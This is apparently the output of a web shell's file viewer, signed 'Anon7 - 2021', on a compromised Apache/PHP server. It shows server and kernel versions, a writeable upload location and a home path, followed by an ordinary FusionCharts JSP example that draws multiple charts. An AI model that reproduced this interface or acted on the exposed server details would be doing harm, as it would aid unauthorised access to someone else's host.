KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/FusionChart/Code/J2EE/BasicExample/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/FusionChart/Code/J2EE/BasicExample/MultiChartJS.jsp
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib uri="http://www.fusioncharts.com/jsp/core" prefix="fc" %> 
<%@ taglib prefix="tags" tagdir="/WEB-INF/tags" %>
<jsp:useBean id="chartData" class="com.fusioncharts.sampledata.BasicRenderData"/>
<%@page import="com.fusioncharts.sampledata.ChartType" %>
<c:set var="folderPath" value="../../FusionCharts/"/>
<c:set var="title" value="FusionCharts - Multiple Charts on one Page" scope="request"/>
<c:set var="header1" value="JSP Basic Examples" scope="request"/>
<c:set var="header2" value="Multiple Charts on the same page. Each chart has a unique ID." scope="request"/>
<c:set var="jsPath" value="${folderPath}" scope="request"/>
<c:set var="assetCSSPath" value="../assets/ui/css/" scope="request"/>
<c:set var="assetJSPath" value="../assets/ui/js/" scope="request"/>
<c:set var="assetImagePath" value="../assets/ui/images/" scope="request"/>
<% 
pageContext.setAttribute("areaChart",ChartType.AREA2D.getFileName());
pageContext.setAttribute("lineChart",ChartType.LINE.getFileName());
%>

	<%--
	 This page demonstrates how you can show multiple charts on the same page.
	 For this example, all the charts use the pre-built Data.xml (contained in /Data/ folder)
	 However, you can very easily change the data source for any chart. 
	
	 IMPORTANT NOTE: Each chart necessarily needs to have a unique ID on the page.
	 If you do not provide a unique Id, only the last chart might be visible.
	 Here, we've used the ID chart1, chart2 and chart3 for the 3 charts on page.
	 --%>
	
	<%--Create the chart - Column 2D Chart with data from Data/Data.xml--%> 
<tags:template2>
<fc:render chartId="${chartData.chartId}" swfFilename="${folderPath}${chartData.swfFilename}" width="${chartData.width}" height="${chartData.height}" debugMode="false" registerWithJS="true" xmlUrl="${chartData.url}" renderer="javascript" windowMode="opaque"/>
<BR>
<BR>
	<%-- Now, create a Line Chart--%>
<fc:render chartId="${chartData.uniqueId}" swfFilename="${folderPath}${lineChart}" width="${chartData.width}" height="${chartData.height}" debugMode="false" registerWithJS="true" xmlUrl="${chartData.url}" renderer="javascript"/>
<BR>
<BR>
	<%-- Now, create a Area2D Chart --%>
<fc:render chartId="${chartData.uniqueId}" swfFilename="${folderPath}${areaChart}" width="${chartData.width}" height="${chartData.height}" debugMode="false" registerWithJS="true" xmlUrl="${chartData.url}" renderer="javascript"/>
</tags:template2>

Anon7 - 2021